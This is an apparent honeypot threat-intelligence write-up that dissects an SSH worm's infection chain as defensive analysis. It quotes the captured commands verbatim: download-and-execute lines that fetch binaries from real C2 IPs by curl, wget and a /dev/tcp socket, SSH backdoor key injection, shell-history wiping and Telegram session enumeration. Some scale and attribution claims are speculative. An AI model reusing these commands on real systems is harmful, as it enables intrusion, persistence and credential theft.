🧬 TI-2026-058M: The Worm's DNA

Series: The Operators | Letter M: The Complete Infection Chain of the libssh Worm Fleet

121 commands captured in our honeypot reveal the full lifecycle of the mdrfckr worm: reconnaissance, persistence, payload delivery, and propagation — with Chinese cloud infrastructure serving as the command backbone.

The Genome Sequence

A worm is an organism. It has DNA — a sequence of behaviors encoded into its logic that dictates how it spreads, what it does when it arrives, and how it ensures its survival. Our honeypot didn't just detect the worm. It recorded every command the worm executed. 121 distinct commands. The complete behavioral genome.

Here is the infection chain, reconstructed from captured telemetry across the hassh-03a80b21afa81068 campaign (libssh 0.11.x, 1,313 IPs, 84 countries):

Phase 1: Reconnaissance

🔍 System Fingerprinting

uname -s -v -n -m 2>/dev/null /usr/bin/uname -s -v -n -m 2>/dev/null /bin/uname -s -v -n -m 2>/dev/null busybox uname -s -v -n -m 2>/dev/null head -1 /proc/version | cut -d -f1 [ -f /etc/os-release ] [ -f /proc/version ] cat /proc/cpuinfo | grep name | wc -l cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' lscpu | grep Model

The worm tries FOUR different paths to uname — including busybox. This reveals it targets everything from full Linux servers to embedded IoT devices running BusyBox (routers, cameras, NAS units). It's designed for maximum host diversity.

💾 Resource Assessment

m=0; while read k v r; do [ "$k" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ "$m" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0 free -m | grep Mem | awk '{print $2,$3,$4,$5,$6,$7}' df -h | head -n 2 | awk 'FNR == 2 {print $2;}' cat /proc/cpuinfo | grep model | grep name | wc -l

The 1GB threshold: If MemTotal > 1,048,576 KB (1 GB), output "1" (target is worth mining). This is the worm's triage decision: machines with >1GB RAM get the cryptominer payload. Smaller machines become propagation-only nodes.

Phase 2: Anti-Forensics

🔇 Evidence Destruction

export HISTFILE=/dev/null export HISTSAVE=/dev/null unset HISTSAVE unset HISTFILE

First actions after access: disable ALL shell history mechanisms. HISTFILE, HISTSAVE — both nullified. If an administrator later checks .bash_history, they'll find nothing. The worm was never there.

Phase 3: Competition Elimination

⚔️ Kill the Rivals

rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh ps | grep '[Mm]iner' ps -ef | grep '[Mm]iner'

The worm checks for and kills other miners. In the ecosystem of SSH worms, this is territorial behavior. Multiple competing worms target the same vulnerable population. When one arrives at a host already compromised by another, it eliminates the competition. The bracketed regex [Mm]iner avoids matching the grep process itself — a professional touch.

Phase 4: Persistence

🔑 SSH Key Injection

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAAB JQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bU anUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx..." >> .ssh/authorized_keys cd ~; chattr -ia .ssh; lockr -ia .ssh

The master key injection. The worm deletes existing SSH keys and installs its own. That RSA key (ArDp4cun2lhr4...) is the worm operator's permanent backdoor. Even if the password is changed, they can still access the machine. The chattr -ia removes immutable flags that defenders might have set.

This single RSA key is shared across the entire 269-node cluster. It is the cryptographic identity of the enterprise.

Phase 5: Intelligence Gathering

🕵️ The Shopping List

ls -la ~/.local/share/TelegramDesktop/tdata \ /home/*/.local/share/TelegramDesktop/tdata \ /dev/ttyGSM* 2>/dev/null /ip cloud print locate D877F783D5D3EF8Cs crontab -l ifconfig ssh -V 2>&1

Three distinct intelligence targets:

Telegram sessions (tdata) — Stealing Telegram Desktop session data enables hijacking accounts. On dark markets, a Telegram session is worth $20-200 depending on the account.
MikroTik routers (/ip cloud print) — Testing if the host is a RouterOS device. Compromised MikroTik routers become persistent proxies (see TI-2026-034).
GSM modems (/dev/ttyGSM*) — Checking for attached cellular modems. A compromised machine with a SIM card becomes an SMS gateway for verification fraud.
SSH version — Determines if the host can be used as a further scanning node.

Phase 6: Payload Delivery

📦 The Download Chain — Four Chinese Cloud Providers

C2 Server	Provider	Path	Method
121.28.170.66:9356	China Unicom, Hebei Province	/linux	curl → wget fallback
124.221.177.40:9549	Tencent Cloud	/linux	curl → wget fallback
180.76.137.37:60135	Baidu Cloud	/linux	curl → wget fallback
47.120.55.164:60128	Alibaba Cloud	/linux	/dev/tcp raw socket

# Standard download (curl → wget fallback) nohup $SHELL -c "curl http://121.28.170.66:9356/linux -o /tmp/Xyf9SoRDYR; if [ ! -f /tmp/Xyf9SoRDYR ]; then wget http://121.28.170.66:9356/linux -O /tmp/Xyf9SoRDYR; fi; if [ ! -f /tmp/Xyf9SoRDYR ]; then ..." # Advanced: raw TCP socket (bypasses proxy/filtering) nohup bash -c "exec 6<>/dev/tcp/47.120.55.164/60128 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/NookhBfmUi && chmod +x /tmp/NookhBfmUi && /tmp/NookhBfmUi zVpbk1KUjNpXgbatbWe5sIRU..."

Four backup C2 servers across four different Chinese cloud providers. If Alibaba blocks the binary, Tencent serves it. If Tencent goes down, Baidu is there. If all HTTP methods fail, the worm uses a raw TCP socket via /dev/tcp — bypassing HTTP proxies and content filters entirely.

The random filename (Xyf9SoRDYR, 6YKa2oZpLi, NookhBfmUi) changes per infection — making file-based detection signatures useless. The Base64-like argument passed to the binary appears to be a unique node identifier or decryption key for the payload configuration.

Phase 7: The Worm Binary

🐱 Meet "Meow"

./meowarm64 ./meow rm -rf meow*

The worm's own name for itself: "meow". With an ARM64 variant (meowarm64). After execution, it self-deletes (rm -rf meow*). The binary exists on disk for the minimum time necessary to load into memory.

Additional malware binaries discovered in our download logs:

Filename	Source	Purpose
whisper.armv5 / whisper.armv6	31.170.22.205 (Latvia, Nano IT)	IoT worm variants (ARM embedded)
dl600	31.170.22.205	Downloader/stager
notwork-monitoring	—	Disguised backdoor (fake monitoring tool)
sshd	—	Fake SSH daemon (rootkit/persistence)

"whisper" for ARM IoT. "meow" for Linux servers. Two worm families, one operator. The names suggest different developers or development phases. The Latvia-hosted whisper variants target IoT (ARM), while the Chinese-hosted meow targets full Linux systems.

Phase 8: Propagation

🔄 SCP Upload + Worm Spread

scp -t /tmp/A6l5hGJF scp -t /tmp/B4ebmkol scp -t /tmp/CUzcxux0 scp -t /tmp/V62vtXQH ulimit -n 1020000 ./V62vtXQH ./CUzcxux0 ./A6l5hGJF

The propagation mechanism: binary uploaded via SCP (random filename), ulimit -n 1020000 (increase open file limit for massive concurrent connections), then execute. The uploaded binary IS the scanner — it immediately begins scanning new targets from the compromised host.

ulimit -n 1020000 = one million file descriptors. The worm scanner opens connections to thousands of targets simultaneously. This is the amplification mechanism: one compromised host becomes a scanner of thousands.

Phase 9: Privilege Escalation

⬆️ Sudo Attempts

echo '123456' | sudo -S bash -c 'm=0; while read k v r; do ...' sudo -n id 2>/dev/null | grep root && echo sudo_ok uname -s && test -d /etc/systemd/system && echo systemd_ok

The worm tries common passwords via sudo -S (read from stdin) and checks for passwordless sudo (sudo -n). If it gets root, it can install persistence at the systemd level. The check for /etc/systemd/system confirms modern Linux (vs. older init systems).

The Complete Lifecycle

┌─────────────────────────────────────────────────────────────┐ │ WORM INFECTION LIFECYCLE │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 1. ARRIVE → brute force SSH (empty password / common list) │ │ ↓ │ │ 2. FINGERPRINT → uname × 4 paths, /proc/cpuinfo, meminfo │ │ ↓ │ │ 3. DECIDE → RAM > 1GB? → mine. RAM < 1GB? → propagate only│ │ ↓ │ │ 4. HIDE → HISTFILE=/dev/null, unset all history │ │ ↓ │ │ 5. PERSIST → inject SSH RSA key (permanent backdoor) │ │ ↓ │ │ 6. COMPETE → find and kill rival miners │ │ ↓ │ │ 7. COLLECT → Telegram tdata, MikroTik, GSM modems │ │ ↓ │ │ 8. DOWNLOAD → 4 Chinese cloud C2s (curl/wget/raw TCP) │ │ ↓ │ │ 9. EXECUTE → "meow" binary (self-deleting) │ │ ↓ │ │ 10. PROPAGATE → SCP upload scanner, ulimit 1M, scan /16 │ │ ↓ │ │ 11. REPEAT → each new node restarts at step 1 │ │ │ └─────────────────────────────────────────────────────────────┘

The C2 Architecture

┌─────────────────────────────┐ │ WORM OPERATOR (CHINA) │ └──────────┬──────────────────┘ │ ┌──────────────────┼──────────────────┐ │ │ │ ┌──────▼──────┐ ┌──────▼──────┐ ┌───────▼─────┐ │ China Unicom │ │ Tencent │ │ Baidu Cloud │ │ Hebei Prov. │ │ Cloud │ │ │ │ 121.28.170.66│ │124.221.177. │ │180.76.137.37│ │ :9356/linux │ │40:9549/linux│ │:60135/linux │ └──────────────┘ └─────────────┘ └─────────────┘ │ ┌──────────────┐ ┌────────▼────┐ │ Alibaba Cloud│ │ Latvia │ │ 47.120.55.164│ │ 31.170.22. │ │ :60128/linux │ │ 205 (Nano IT│ │ (raw TCP!) │ │ whisper.arm)│ └──────────────┘ └─────────────┘ ALL C2 = Chinese cloud except Latvia IoT payload host

The Verdict

🎯 Worm Genome Analysis

The libssh 0.11.x worm (campaign hassh-03a80b21afa81068) is a professional-grade, multi-stage, self-propagating system with the following characteristics:

Universal targeting: Runs on full Linux, BusyBox IoT, ARM embedded, and MikroTik RouterOS
Decision intelligence: Triages hosts by RAM (>1GB = mine, <1GB = propagate only)
4-way C2 redundancy: China Unicom + Tencent + Baidu + Alibaba (all Chinese cloud)
Evasion: Random filenames, self-deletion, history suppression, raw TCP fallback
Competition: Actively kills rival miners — ecological warfare
Multi-revenue: Cryptomining + Telegram theft + GSM access + MikroTik proxy harvesting
Persistence: SSH key injection survives password changes
Amplification: ulimit -n 1020000 enables 1M concurrent connections per node

This is not a script kiddie's tool. This is engineered software with fallback mechanisms, resource assessment, competitive behavior, and multi-stage revenue generation. The C2 infrastructure spans China's four largest cloud providers. The development team understands Linux internals at a systems programming level.

Scale: 1,313 nodes × 1M concurrent connections per node = potential to scan the entire IPv4 space (4.3 billion addresses) in under one hour.

Read Between the Lines

The binary is called "meow." The IoT variant is called "whisper." Someone naming attack tools after gentle sounds. Someone who writes professional code, deploys across four major cloud providers, and installs their SSH key on hundreds of thousands of machines. The cognitive dissonance between the cute names and the industrial-scale compromise is itself a psychological fingerprint. This person sees what they do as playful.

ls -la ~/.local/share/TelegramDesktop/tdata — in one command, the worm reveals that its operator participates in the Telegram session theft economy. Every compromised Linux desktop potentially yields a Telegram account worth $20-200 on dark markets. With 1,313 scanning nodes and thousands of compromises per day, the Telegram theft alone could generate $5,000-50,000 monthly — a side business from a cryptomining worm.

Four Chinese cloud providers as C2. This means the operator has accounts on China Unicom, Tencent Cloud, Baidu Cloud, and Alibaba Cloud. In China, cloud accounts require real-name registration (实名制). Someone's national ID card is attached to these accounts. The Chinese government could identify this operator in under 24 hours if they chose to. The fact that these C2 servers remain operational means either the government doesn't know, doesn't care, or has decided not to act. Each of these three options tells a different story about the relationship between Chinese cybercrime and the state.

Next: TI-2026-058N — "The University" — A Freie Universität Berlin IP with 49 hits and 410 attempts. Academic research or compromised infrastructure?